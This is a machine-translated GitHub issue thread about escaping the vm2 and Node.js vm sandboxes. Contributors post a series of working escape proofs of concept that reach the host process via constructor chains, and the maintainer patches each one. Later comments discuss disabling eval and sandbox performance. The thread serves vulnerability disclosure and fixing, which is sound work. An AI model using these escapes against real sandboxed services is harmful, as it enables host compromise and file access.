Vm2: الهروب من صندوق الحماية vm

تم إنشاؤها على ١٦ يونيو ٢٠١٦  ·  64تعليقات  ·  مصدر: patriksimek/vm2

من الممكن الهروب من الجهاز الظاهري وتنفيذ إجراءات غير مرغوب فيها للغاية.

تم العثور عليها من خلال الجوهر التالي فيما يتعلق بـ VM الأصلي للعقدة: https://gist.github.com/domenic/d15dfd8f06ae5d1109b0

خذ المثالين التاليين من الكود:

const VM = require('vm2').VM;

const options = {
    sandbox: {}
};

const vm = new VM(options);

vm.run(`
    const ForeignFunction = global.constructor.constructor;
    const process1 = ForeignFunction("return process")();
    const require1 = process1.mainModule.require;
    const console1 = require1("console");
    const fs1 = require1("fs");
    console1.log(fs1.statSync('.'));
`);

و :

const NodeVM = require('vm2').NodeVM;

const options = {
    console: 'off',
    sandbox: {},
    require: false,
    requireExternal: false,
    requireNative: [],
    requireRoot : "./"
};

const vm = new NodeVM(options);
vm.run(`
    const ForeignFunction = global.constructor.constructor;
    const process1 = ForeignFunction("return process")();
    const require1 = process1.mainModule.require;
    const console1 = require1("console");
    const fs1 = require1("fs");
    console1.log(fs1.statSync('.'));
`);

تشغيل أي من هذه المخرجات ما يلي:

{ dev: 16777220,
  mode: 16877,
  nlink: 14,
  uid: 502,
  gid: 20,
  rdev: 0,
  blksize: 4096,
  ino: 14441430,
  size: 476,
  blocks: 0,
  atime: 2016-06-15T22:20:05.000Z,
  mtime: 2016-06-15T22:19:59.000Z,
  ctime: 2016-06-15T22:19:59.000Z,
  birthtime: 2016-06-09T01:02:12.000Z }

لقد تحققت من صحة هذا السلوك في الإصدارين 4.4.5 و v6.2.1

discussion

التعليق الأكثر فائدة

أرغ! أنت تلاحق! ؛) يجب أن أعتذر عن قيادتك على هذا النحو. لأي جمهور هناك ؛ تكمن مشكلة نطاق VM في node.js في الإشارات إلى كائنات في نطاق المضيف (يمكنك من خلالها الحصول على مرجع إلى نطاق المضيف بالكامل عبر سلسلة النموذج الأولي).

الآن بعد أن تجاوزت خاصية constructor ، سأضطر إلى الانتقال تحتها:

function getParent(o) {
    return o.__proto__.constructor.constructor('return this')();
}

ال 64 كومينتر

شكرًا للتقرير ، أنا أعمل بجد على إصدار جديد من vm2 وتمكنت من إصلاح هذا التسرب من خلال إنشاء سياق داخل السياق الذي تم إنشاؤه. لست متأكدًا مما إذا كانت هناك طريقة أخرى لكيفية الهروب من وضع الحماية ، ولم يتم العثور على طريقة أخرى بعد.

const context = vm.createContext(vm.runInNewContext("({})"));

const whatIsThis = vm.runInContext(`
    const ForeignFunction = this.constructor.constructor;
    const process1 = ForeignFunction("return process")();
    const require1 = process1.mainModule.require;
    const console1 = require1("console");
    const fs1 = require1("fs");
    console1.log(fs1.statSync('.'));
`, context);

حاولت التسلق ولكن يبدو أنه غير ممكن لأن هذا true :

this.constructor.constructor('return Function(\\'return Function\\')')()() === this.constructor.constructor('return Function')()

لقد كنت ألعب بالطريقة التي ذكرتها أعلاه.

كان الهدف الأول هو محاولة تكييف تعليقك للسماح لي بتمرير الأشياء إلى صندوق الحماية ، وهو أمر ضروري لحالة الاستخدام الخاصة بي. من فضلك صححني إذا كانت هذه هي الطريقة الخاطئة للقيام بذلك ، ولكن يبدو أنها الطريقة الوحيدة:

const vm = require('vm');

const log = console.log;

const context = Object.assign(vm.createContext(vm.runInNewContext('({})')), {
    'log': log
});

const userScript = new vm.Script(`
    (function() {
        log('Hello World Inside');
        return 'Hello World Outside';
    })
`);

const whatIsThis = userScript.runInContext(context)();

console.log(whatIsThis);

المخرجات:

Hello World Inside
Hello World Outside

بعد ذلك حاولت مرة أخرى الهروب من VM ونجحت:

const vm = require('vm');

const log = console.log;

const context = Object.assign(vm.createContext(vm.runInNewContext('({})')), {
    'log': log
});

const userScript = new vm.Script(`
    (function() {

        const ForeignFunction = log.constructor.constructor;
        const process1 = ForeignFunction("return process")();
        const require1 = process1.mainModule.require;
        const console1 = require1("console");
        const fs1 = require1("fs");
        console1.log(fs1.statSync('.'));

        log('Hello World Inside');
        return 'Hello World Outside';
    })
`);

const whatIsThis = userScript.runInContext(context)();

console.log(whatIsThis);

أي نواتج:

{ dev: 16777220,
  mode: 16877,
  nlink: 16,
  uid: 502,
  gid: 20,
  rdev: 0,
  blksize: 4096,
  ino: 14441430,
  size: 544,
  blocks: 0,
  atime: Wed Jun 15 2016 17:04:25 GMT-0700 (PDT),
  mtime: Wed Jun 15 2016 17:04:18 GMT-0700 (PDT),
  ctime: Wed Jun 15 2016 17:04:18 GMT-0700 (PDT),
  birthtime: Wed Jun 08 2016 18:02:12 GMT-0700 (PDT) }
Hello World Inside
Hello World Outside

يبدو أنه لا توجد طريقة لحقن الأشياء بأمان في الصندوق الرمل دون استخدام تلك الأشياء للتسلق مرة أخرى من الصندوق الرمل.

هناك طريقة - الأشياء تحتاج إلى سياقها في سياق VM. هناك طريقتان لكيفية القيام بذلك. يمكنك إما استنساخ هذه الكائنات بعمق أو يمكنك استخدام البروكسيات. أنا أستخدم Proxies في vm2 الجديد.

https://github.com/patriksimek/vm2/tree/v3

لقد دفعت الإصدار القادم إلى GH. لا يزال العمل جاريا ولكن يجب أن يعمل.

الإصدار 3 مكسور أيضًا:

'use strict';

const {VM} = require('vm2');

const vm = new VM({
    'sandbox' : {
        'log' : console.log,
    },
});

vm.run(`
    try {
        log.__proto__ = null;
    }
    catch (e) {
        const foreignFunction = e.constructor.constructor;
        const process = foreignFunction("return process")();
        const require = process.mainModule.require;
        const fs = require("fs");
        log(fs.statSync('.'));
    }
`);

إنه نوع من العبث أن تلعب لعبة whack-a-mole.

شكرًا على parasyte ، لقد حدث ذلك بسبب خطأ مطبعي في الكود الخاص بي. تم إصلاحه الآن.

لا تنسى أن تلتقط الاستثناءات.

'use strict';

const {VM} = require('vm2');

const vm = new VM({
    'sandbox' : {
        boom() {
            throw new Error();
        },
    },
});

vm.run(`
    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction("return process")();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log(fs.statSync('.'));

        return o;
    }

    try {
        boom();
    }
    catch (e) {
        exploit(e);
    }
`);

@ parasyte شكرا ، ثابتة. أنا حقا أقدر مساهماتك.

🚎 +1

تضمين التغريدة

لدي أيضًا إمكانية الوصول إلى كائنات معينة في النطاق العالمي يمكنني الاستفادة منها للخروج من بيئة الحماية السياقية. هذا لا يتطلب حتى تمرير أي كائنات إلى VM.

'use strict';

const {VM} = require('vm2');

const vm = new VM();

vm.run(`
    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction('return process')();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log(fs.statSync('.'));

        return o;
    }

    Reflect.construct = exploit;
    new Buffer([0]);
`);

تضمين التغريدة يجب أن يكون هناك عدد كبير من النواقل المتبقية لاكتشافها.

Kyosk نعم ، على الأرجح ...

راجع للشغل patriksimek فإن ES6 أفضل بكثير من القهوة! 👍

parasyte شكرًا مرة أخرى ، لقد تم إصلاحه مع بعض الأبواب الخلفية التي وجدتها.
keyosk أعتقد أننا

مذا عن هذه؟

'use strict';

const {VM} = require('vm2');

const vm = new VM();

vm.run(`
    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction('return process')();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log(fs.statSync('.'));

        return o;
    }

    Object.assign = function (o) {
        return {
            'get' : function (t, k) {
                try {
                    t = o.get(t, k);
                    exploit(t);
                }
                catch (e) {}

                return t;
            },
        };
    };
    new Buffer([0]);
`);

@ parasyte صيد لطيف ، إصلاح ذلك. شكرا.

لقد فتحت علبة ديدان جديدة بالكامل في رقعة حديثة.

'use strict';

const {VM} = require('vm2');

const vm = new VM();

vm.run(`
    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction('return process')();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log(fs.statSync('.'));

        return o;
    }

    try {
        new Buffer();
    }
    catch (e) {
        exploit(e);
    }
`);

لعنة ، كنت أعمل بعد فوات الأوان وفقدت التركيز. كتبت بعض الملاحظات الأمنية ، بشكل أساسي بالنسبة لي. :)

شكرا ثابتة.

حسنًا ، لم أنظر حتى إلى NodeVM حتى الآن! هناك مساحة أكبر بكثير لتنظيفها ، هنا ...

لاحظت على الفور هروبًا عبر arguments.callee :

'use strict';

const {NodeVM} = require('vm2');

const vm = new NodeVM();

vm.run(`
    function getParent(o) {
        return o.constructor.constructor('return this')();
    }

    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction('return process')();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log('\u{1F60E} ', fs.statSync('.'), '\u{1F60E}');

        return o;
    }

    (function () {
        exploit(getParent(getParent(arguments.callee.caller)));
    })();
`);

حسنًا ، هذا يوجهنا إلى المشكلة الأولية هنا - السياق الذي تم إنشاؤه داخل سياق جديد ليس كافيًا ، من الواضح. نسخة مختصرة:

vm.run(`
    global.constructor.constructor('return this')().constructor.constructor('return process')()
`);

لم يتم العثور على حل بعد. ربما يتم تصحيح المضيف بـ delete process.mainModule لكنني متأكد من أن هناك طريقة أخرى لكيفية الصعود إلى require .

تم العثور على حل :-)

أرغ! أنت تلاحق! ؛) يجب أن أعتذر عن قيادتك على هذا النحو. لأي جمهور هناك ؛ تكمن مشكلة نطاق VM في node.js في الإشارات إلى كائنات في نطاق المضيف (يمكنك من خلالها الحصول على مرجع إلى نطاق المضيف بالكامل عبر سلسلة النموذج الأولي).

الآن بعد أن تجاوزت خاصية constructor ، سأضطر إلى الانتقال تحتها:

function getParent(o) {
    return o.__proto__.constructor.constructor('return this')();
}

أجرى بعض البحث هنا ولاحظ أن global.__proto__ === host.Object.prototype . من خلال تطبيق Object.setPrototypeOf(global, Object.prototype) تمكنت من إغلاق الدائرة.

شكرا لك مرة أخرى.

parasytepatriksimek هل تم إغلاق هذا في أحدث إصدار تم نشره في npm؟

نعم ، يمكننا إغلاق هذا الآن.

FWIW ، لقد حللنا هذا فقط عن طريق تعطيل eval ... وتوخي الحذر الشديد بشأن عدم كشف المراجع في وضع الحماية.

#include <nan.h>

using v8::Local;
using v8::Context;

NAN_METHOD(enableEval) {
  Local<Context> ctx = v8::Isolate::GetCurrent()->GetEnteredContext();
  ctx->AllowCodeGenerationFromStrings(true);

  info.GetReturnValue().SetUndefined();
}

NAN_METHOD(disableEval) {
  Local<Context> ctx = v8::Isolate::GetCurrent()->GetEnteredContext();
  ctx->AllowCodeGenerationFromStrings(false);

  info.GetReturnValue().SetUndefined();
}

void Init(v8::Local<v8::Object> exports) {
  exports->Set(Nan::New("enableEval").ToLocalChecked(),
               Nan::New<v8::FunctionTemplate>(enableEval)->GetFunction());

  exports->Set(Nan::New("disableEval").ToLocalChecked(),
               Nan::New<v8::FunctionTemplate>(disableEval)->GetFunction());
}

NODE_MODULE(vm8, Init)

هذا يمنع الهروب لأن السلسلة return process لا يمكن تقييمها. نتيجة لذلك ، فإنه يقوم أيضًا بتعطيل مكالمات eval() و Function Generator Constructor. (فائدة هذه الميزات مشكوك فيها إلى حد ما).

parasyte للتوضيح فقط هل هذا شيء قمت بتطبيقه في مكان آخر؟ أو شيء ما ساهم في vm2؟

keyscores تم تنفيذ هذا في مكان آخر.

نعم ، في مكان آخر. لدينا مشروع رمل مشابه ينتظر حاليًا تصريحًا لإطلاقه مفتوح المصدر. اسف لخلط الامور. كنت أعلق على كيفية حل المشكلة الجذرية في هذا المشروع.

parasyte أي تحديث

keyscores معذرة ، لا شيء للإبلاغ عنه حتى الآن. تم إلغاء ترتيب جهود المصدر المفتوح بسبب سوء التخطيط في المنظمة. : \

أعلم أن هذه مشكلة ميتة ، ولكن هل هناك أي تجاوزات معروفة لمكتبة Node's vm عند تنفيذ كود مثل هذا:

javascript vm.runInNewContext("arbitrary user input here", Object.create(null))

parasyte : بدافع الفضول فقط ، لماذا لا تقوم فقط بتعطيل Eval من خلال حقن global.eval = null; في الجزء العلوي من الكود الخارجي قبل تنفيذه؟

@ Eric24 سؤال جيد! يوضح هذا العرض التقديمي السبب بشيء من التفصيل: https://vimeo.com/191757364 وهنا مجموعة الشرائح: https://goo.gl/KxiG73

النقطة الأكثر أهمية هي أن هناك العديد من الطرق لاستدعاء eval() من JavaScript ، واستبدال global.eval هو واحد منهم فقط. بحلول الوقت الذي تتصفح فيه القائمة بأكملها ، ستدرك أنه من المستحيل إجراء عمليات تصحيح القرد بواسطة GeneratorFunction . وهذا لا يشمل عددًا لا يحصى من الطرق الأخرى التي يمكن أن يتعرض بها eval() من خلال تغييرات ES في المستقبل.

لذا فإن الحل الوحيد القابل للتطبيق هو تعطيل evals في V8 باستخدام C ++.

parasyte : يبدو منطقيًا تمامًا (وشكرًا على العرض التقديمي). إذن ، هل كود C ++ الخاص بك يعطل Eval في vm فقط أو في "عملية المضيف" أيضًا؟

@ Eric24 سيقوم بتعطيل

@ parasyte : فهمت. شكرا! يجب أن أقول إن الحل الخاص بك هو أفضل ما وجدته بعد عدة أيام (على مدار عدة أسابيع) من البحث في هذا الموضوع.

Anorov تم الإبلاغ عن هذا منذ بضعة أيام فقط: https://github.com/nodejs/node/issues/15673 يسمح بالهروب من VM حتى مع وجود نموذج أولي فارغ على sandbox. إنها مشكلة فقط إذا تم تمكين المجالات (هذا ليس الإعداد الافتراضي ، ولكن احذر من استخدام domain في كل تسلسل التبعية).

هذا دليل سهل الاستخدام على المفهوم. تم الاختبار على العقدة v8.6.0:

// 'use strict';

const domain = require('domain');
const vm = require('vm');

const untrusted = `
const domain = Promise.resolve().domain;
const process = domain.constructor.constructor('return process')();
const require = process.mainModule.require;
const console = require('console');
const fs = require('fs');
console.log(fs.readdirSync('/'))
`;

domain.create().enter(); // Entering a domain leaks the private context into VM

vm.runInNewContext(untrusted, Object.create(null));

انتبه لمثل هذه التسريبات. الطريقة الوحيدة لتكون آمنًا من هذه الفئة من الثغرات الأمنية هي تعطيل التقييم. وكن متعبًا من احتمال وجود مشكلات أخرى مع vm خارج نطاق التقييم.

@ parasyte شكرا. أقوم بتنفيذ هذا الرمز باستخدام Node من Python: https://github.com/Anorov/cloudflare-scrape/blob/master/cfscrape/__init__.py#L111

لم يتم استيراد أو استخدام مكتبات أخرى ( domain أو غير ذلك). هل ترى أي مشاكل محتملة مع هذا الرمز؟ أرغب في تجنب طلب تبعيات جافا سكريبت (مثل vm2) إن أمكن.

Anorov آه فهمت. هل أنت قلق من أن CloudFlare (أو MITM) سيحاول توفير رمز يمكن أن ينفصل عن وضع الحماية؟ يجب أن يكون هجومًا مستهدفًا ، لكنني لن أستبعده تمامًا.

صيح. يمكن لأي شخص أيضًا تقليد الصفحة التي أتوقعها
أن البرنامج النصي الخاص بي يعتقد أنه Cloudflare عندما لا يكون كذلك. أنا أفكر أيضًا
التحقق من أن عنوان IP الخاص بالخادم مملوك لشركة Cloudflare كملف
احتياطات إضافية.

ولكن بغض النظر ، دعنا نفترض فقط أن هذا الرمز كان يعمل على أي تعسفي
مدخلات المستخدم وليس فقط في Cloudflare. هل آلية وضع الحماية آمنة؟
أفضل ما في معرفة مجتمع Node؟

في 2 تشرين الأول (أكتوبر) 2017 الساعة 10:10 مساءً ، كتب "Jay Oster" [email protected] :

Anorov https://github.com/anorov آه فهمت. هل أنت قلق من ذلك
ستحاول CloudFlare (أو MITM) توفير رمز يمكن أن ينفصل
رمل؟ يجب أن يكون هجومًا مستهدفًا ، لكنني لن أحكمه
بالكامل.

-
أنت تتلقى هذا لأنه تم ذكرك.
قم بالرد على هذا البريد الإلكتروني مباشرة ، وقم بعرضه على GitHub
https://github.com/patriksimek/vm2/issues/32#issuecomment-333718695 أو كتم الصوت
الخيط
https://github.com/notifications/unsubscribe-auth/AA5FI1K1_aDCq6-RPOkCc1ak7gs9KFlvks5soZeZgaJpZM4I22m8
.

Anorov :

هل آلية وضع الحماية آمنة ، على حد علم مجتمع Node؟

بالطبع لا. تشير الوثائق الرسمية إلى هذه الملاحظة القوية للغاية:

ملاحظة: وحدة vm ليست آلية أمان. لا تستخدمه لتشغيل تعليمات برمجية غير موثوق بها.

أنا على علم بهذا التحذير ، لكني أسأل عن التطبيق العملي.

في 3 تشرين الأول (أكتوبر) 2017 ، الساعة 4:34 مساءً ، كتب "Cody Massin" [email protected] :

Anorov https://github.com/anorov :

هل آلية وضع الحماية آمنة ، إلى أفضل ما في مجتمع Node
المعرفه؟

بالطبع لا. التوثيق الرسمي
https://nodejs.org/api/vm.html#vm_vm_executing_javascript يجعل هذا
ملاحظة قوية جدًا:

ملاحظة: وحدة vm ليست آلية أمان. لا تستخدمه للتشغيل
رمز غير موثوق به.

-
أنت تتلقى هذا لأنه تم ذكرك.
قم بالرد على هذا البريد الإلكتروني مباشرة ، وقم بعرضه على GitHub
https://github.com/patriksimek/vm2/issues/32#issuecomment-333969953 ، أو كتم الصوت
الخيط
https://github.com/notifications/unsubscribe-auth/AA5FIwNwNErztUZB-adB4KrC5WoBYs4Nks5sopplgaJpZM4I22m8
.

من الناحية العملية ، فإن آلية وضع الحماية غير آمنة للتعليمات البرمجية غير الموثوق بها. لهذا السبب حاول patriksimek إنشاء آلية حماية آمنة باستخدام مكتبة vm2 . وهذا هو السبب أيضًا في قيام parasyte بعمل إنشاء مكتبته الخاصة باستخدام نهج مختلف في وضع الحماية للرمز غير الموثوق به.

Anorov باختصار ، لا تعتمد على vm فقط. لكنها أداة مفيدة كطبقة واحدة من البصل.

لقد كنت ألعب مع vm وكود C ++ المقترح لتعطيل Eval من parasyte . إنه يعمل بشكل جيد ، ولكن استخدام vm بشكل عام يأتي مع أداء مهم جدًا. لذلك بدأنا بتجربة _ وظيفة جديدة (...) _. أنا أستخدم هذا البناء:

const userfunc = new Function('context',
  '"use strict"; disableEval(); return ' + '(() => {...userland code here... return ...})();');

يعمل هذا أيضًا ، وهو أسرع بكثير (أسرع بأكثر من 1000 مرة في بعض حالات الاختبار). بالإضافة إلى تعطيل التقييم ، أمنع أيضًا رمز المستخدم من احتواء مرجع إلى "عالمي" (بدون هذا الاختبار ، يمكن للوظيفة تعديل النطاق العام باستخدام global.what). يبدو أن هذا هو وضع الحماية الفعال والآمن. ماذا ينقصني؟

هل تمنع استراتيجيتك الأشخاص من استيراد مساحات الأسماء مثل fs وتعديل خوادمك بشكل جذري؟ أشعر بالفضول أيضًا بشأن تعطيل التقييم ، فلماذا كل القلق بشأن التقييم وليس القلق بشأن الكود خارج EVAL؟

wysisoft : سؤال جيد. نعم ، لا يتم كشف "تتطلب". يحدد كل برنامج نصي ، كجزء من البيانات الوصفية الخاصة به ، قائمة بالوحدات النمطية "المسموح بها والتي تم التحقق منها" التي يحتاجها ، والتي يتم عرضها بشكل فردي للوظيفة قبل تشغيلها. بالنسبة إلى وجهة نظرك على وجه التحديد ، لن تكون "fs" في تلك القائمة المعتمدة (ولكن بالنسبة للنصوص التي تحتاج إلى تخزين مؤقت ، يتم توفير مجموعة محدودة من وظائف القراءة / الكتابة).

يعد تعطيل "Eval" أمرًا أساسيًا لإيقاف عدد من عمليات الاستغلال (انظر التعليق من parasyte في 18 نوفمبر 2016). يتيح السماح لـ "Eval" الوصول إلى النطاق العالمي بطريقة لا يمكن منعها بأي طريقة أخرى. مزيد من التفاصيل في التعليق من parasyte على 1OCT17).

@ Eric24 لا أفهم ما هو "البطئ" حول vm . إنه بالضبط نفس وقت تشغيل الإصدار 8 الذي يقوم بتشغيل nodeJS. هل أنت متأكد من أنك لا تفعل شيئًا سخيفًا ، مثل إعادة إنشاء صندوق الحماية في كل مرة تنفذ فيها الكود؟ هناك بعض النفقات العامة ، ولكن ليس أكثر من 1000 ضعف.

wysisoft eval() هي طريقة يمكن الوصول إليها بسهولة للهروب من وضع الحماية. سيؤدي تعطيله إلى إغلاق فتحة الهروب بشكل دائم من خلال تقييم الكود ضمن السياق الخاص . لكنني أكرر مرة أخرى ، هذا ليس ناقل الهجوم الوحيد ويجب أن تكون حذرًا من كل شيء.

parasyte - لدي اختبار بسيط للغاية يقوم بإنشاء دالة () و VM أقرب ما يمكن إلى نفس الرمز لكل منهما ، ويتم تشغيله 1000 مرة ، ويبلغ إجمالي الوقت المطلوب. الرمز أدناه:

"use strict";

const util = require('util');
const vm = require('vm');
const uuid = require("uuid/v4");

console.log('TEST=' + global.test);
let response = {result: 0, body: null};

// create the Function()
let hrstart = process.hrtime();
const xform = new Function('y', 'response', 'uuid',
  '"use strict"; return ' + '(() => {global.test = "FUNC"; let z = y * 2; response.result = 99; response.body = "TEST"; function doubleZ(n) {return n * 2}; return {x: 123,  y: y, z: doubleZ(z), u:uuid()};})();'
);
let hrend = process.hrtime(hrstart);
console.log('new Function: ', hrend[0], hrend[1]/1000000, '\n');

// create/compile the Script()
hrstart = process.hrtime();
const script = new vm.Script(
  '"use strict"; ((global) => {' + 'global.test = "VM"; let z = y * 2; response.result = 99; response.body = "TEST"; function doubleZ(n) {return n * 2}; return {x: 123,  y: y, z: doubleZ(z), u:uuid()};' + '})(this);'
);
hrend = process.hrtime(hrstart);
console.log('new vm.Script: ', hrend[0], hrend[1]/1000000);

// create the VM context
hrstart = process.hrtime();
let ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};
let context = new vm.createContext(ctx);
hrend = process.hrtime(hrstart);
console.log('new vm.createContext: ', hrend[0], hrend[1]/1000000, '\n');

// test 1000 iterations of Function()
let out = {};
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
  out = xform(456, response, uuid);
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('Function (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(response) + '\n');

// test 1000 iterations of VM (with optional new context on each)
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
  //ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};  // << THIS IS THE PROBLEM!
  //context = new vm.createContext(ctx);
  out = script.runInContext(context, {timeout: 100});
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('vm (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(ctx) + '\n');

كما ترى في الاختبار ، أقوم بإنشاء النص والسياق مرة واحدة ، ثم تشغيله 1000 مرة. ومع ذلك ، في حالة استخدام الهدف الحقيقي ، سأحتاج إلى إعادة إنشاء السياق في كل مرة (من المحتمل أن أكون قادرًا على تخزين النص المترجم مؤقتًا) ، لأن كل تشغيل فريد ويجب أن يبدأ بسياق جديد). بدون إعادة إنشاء السياق في كل مرة ، يكون الفرق بين الوظيفة () و VM من 6 إلى 14 مرة.

لكن بعد إلقاء نظرة فاحصة ، جربت تنوعًا في الكود (إنشاء السياق في كل مرة داخل الحلقة) ، وهو أقرب إلى حالة الاستخدام الحقيقية. لقد قمت في الأصل بضبط توقيت إنشاء السياق لمرة واحدة بأقل من 1 مللي ثانية ، لذلك قمت بتضمين ذلك على أساس التكرار. لكن تشغيل الكود الفعلي أظهر الجاني الحقيقي - بينما لا يزال VM أبطأ ، فإن المشكلة لا تكمن في إنشاء السياق ، ولكن في إنشاء كائن "ctx". هذه مفاجأة كبيرة.

ولكن ستكون هناك حاجة إلى إنشاء كائن جديد لسياق VM في كل مرة من خلال (على الرغم من أن بعض الاختلاف سيكون ضروريًا أيضًا لـ Function () ، لذا فإن الفرق بين الاثنين يعود إلى 6 إلى 14 مرة (وهو ما لا يزال مهمًا) .

أمم. لقد جربت للتو اختبارًا آخر:

let out = {};
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
  ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};
  out = xform(456, response, uuid);
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('Function (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(response) + '\n');


hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
  ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};
  // let context = new vm.createContext(ctx);
  out = script.runInContext(context, {timeout: 100});
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('vm (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(ctx) + '\n');

هنا ، يتم إعادة إنشاء كائن "ctx" في كل مرة ، في كلا الاختبارين ، ولكن يتم إنشاء السياق مرة واحدة فقط. يعود فارق التوقيت إلى النطاق من 6 إلى 14. ولكن إذا قمت بإلغاء التعليق على السطر الذي يعيد إنشاء السياق في كل مرة ، فسيكون أبطأ بما يصل إلى 144 مرة!

@ Eric24 أنت تفعل ما قلته في رسالتي السابقة. 😕 script.runInContext() هي المشكلة. هذا هو نفس الشيء مثل استدعاء eval() (مع سياق v8 مختلف).

الحل لإصلاح مشكلة الأداء الخاص بك هو استدعاء runInContext مرة واحدة لتجميع الكود ، والتفاعل مع الكود المترجم عبر المرجع الذي يعيده ، أو المراجع التي تقدمها كوسائط إدخال. على سبيل المثال ، تمرير عدد قليل من العناصر new Event() للاتصال ثنائي الاتجاه مع sandbox. هذا ما يفعله [صندوق الحماية الداخلي الذي لا يزال داخليًا ، والذي لم يكن مفتوح المصدر لأسباب سياسية] غلاف vm ، والنفقات العامة لا تكاد تذكر.

@ parasyte : هممم. لكن ألا يقوم vm.Script () الجديد بتجميع الكود؟ على أي حال ، أعتقد أنني أفعل ما تقوله ، الشيء الذي يجب أن أقوم بتخزينه مؤقتًا هو الإشارة إلى runInContext ، لذلك سأعاني فقط في المرة الأولى التي يتم فيها استدعاء برنامج نصي. بالتأكيد تستحق النظر.

لا. runInContext يجمع الكود. فكر في الأمر. الإصدار 8 هو مترجم في الوقت المناسب . يجب أن تنفذ التعليمات البرمجية لتجميعها.

parasyte : حسنًا ، ولكن من مستندات node.js:
_Instances of the vm.Script class تحتوي على نصوص برمجية مُجمَّعة مسبقًا يمكن تنفيذها في وضع حماية محدد (أو "سياقات") ._

@ Eric24 الوثائق محيرة نوعًا ما. يتم "تجميع" مقتطف الشفرة المرتبط بنفس المعنى الذي يقوم به المترجم الفوري بترجمة JavaScript إلى كود بايت. إن JS قادرة على التنفيذ عبر مترجم بعد أن يتم إنشاء مثيل للكائن Script ، لكن غالبية مكاسب الأداء من الإصدار 8 تأتي من تجميع هذا التمثيل الوسيط المفسر وصولاً إلى كود الآلة الأصلي. لا تبدأ الخطوة الأخيرة حتى يتم استدعاء runInContext .

في الواقع ، تعد دورة حياة مترجم JIT أكثر تعقيدًا من ذلك ، حيث يجب أن يتم تسخين الكود قبل أن يفكر فيه JIT في التحسين. هناك الكثير من مواد القراءة على الإنترنت إذا كنت مهتمًا بالتفاصيل.

ولكن لتزويدك ببعض البيانات الثابتة ، إليك شفرة المصدر ذات الصلة بـ runInContext : https://github.com/nodejs/node/blob/v8.7.0/lib/vm.js#L54 -L61

و realRunInContext المرجعية هي من C ++ contextify حدة. والتي يمكنك أن تجدها هنا: https://github.com/nodejs/node/blob/v8.7.0/src/node_contextify.cc#L660 -L719

يمكن القول إن الجزء الأكثر أهمية في كود C ++ هذا هو استدعاء EvalMachine ، والذي يربط الكود المترجم بالسياق الحالي ، ويستدعي script->Run() لبدء مترجم JIT. وهو بالطبع ما يبدأ في البحث عن رمز لتحسينه.

امل ان يساعد!

@ parasyte : نعم ، هذا مفيد. شكرا!

نحن نكافح مع تنفيذ واحد باستخدام وضع الحماية vm2. هل يمكننا استدعاء كود غير متزامن داخل صندوق حماية vm2؟ السبب هو أننا بحاجة للاتصال بمصدر بيانات مثل Mysql من sandbox لـ vm2؟

نعم يمكنك الانتظار بدون تزامن داخل صندوق الحماية ، ما هي المشاكل التي تواجهك؟
ضع في اعتبارك إذا كنت تقوم بتشغيل رمز غير موثوق به ، فربما لا تريد ذلك
منح وصول SQL الكامل إلى صندوق الحماية. بدلاً من ذلك ، ربما تريد إضافة ملف
getdata () إلى آلية تحديد الوصول التي تقوم بتشغيل التعليمات البرمجية خارج آلية تحديد الصلاحيات حيث
يحدث اتصال SQL الفعلي.

يوم الثلاثاء 24 أكتوبر 2017 الساعة 6:49 صباحًا Rajagopal Somasundaram <
[email protected]> كتب:

نحن نكافح مع تنفيذ واحد باستخدام وضع الحماية vm2. هل يمكننا الاتصال
رمز غير متزامن داخل صندوق الحماية vm2؟ والسبب هو أننا نحتاج إلى الاتصال بـ
مصدر البيانات مثل Mysql من رمل vm2؟

-
أنت تتلقى هذا لأنه تم ذكرك.
قم بالرد على هذا البريد الإلكتروني مباشرة ، وقم بعرضه على GitHub
https://github.com/patriksimek/vm2/issues/32#issuecomment-338978717 ، أو كتم الصوت
الخيط
https://github.com/notifications/unsubscribe-auth/AOeY7Kir6Mm_k_P2ZhR3tdQzZQPknTNZks5svdz0gaJpZM4I22m8
.

wysisoft شكرًا على الرد ، لقد https://github.com/patriksimek/vm2/issues/102. كما يتم توفير تكوينات الوصول إلى SQL من قبل المستخدم نفسه ولن يتمكن برنامج وضع الحماية من الوصول إلى قاعدة بيانات التطبيق لدينا.

@ Eric24 هل تشاركنا بديل "الوظيفة الجديدة ()"؟ يبدو أنظف من VM

platinumindustries : في النهاية ، لا أوصي في الواقع باستخدام بديل "الوظيفة الجديدة ()". انتهى بنا الأمر بالبقاء مع نهج VM ، وركزنا على تحسين هذا الرمز بدلاً من ذلك. ما لدينا الآن يعمل بشكل جيد للغاية. بصراحة لا أستطيع أن أتذكر بالضبط ما دفعنا في هذا الاتجاه ، لكنني أعلم أنه كان هناك العديد من الأشياء الصغيرة التي تجاوزت في النهاية نهج "الوظيفة الجديدة ()" من القائمة.

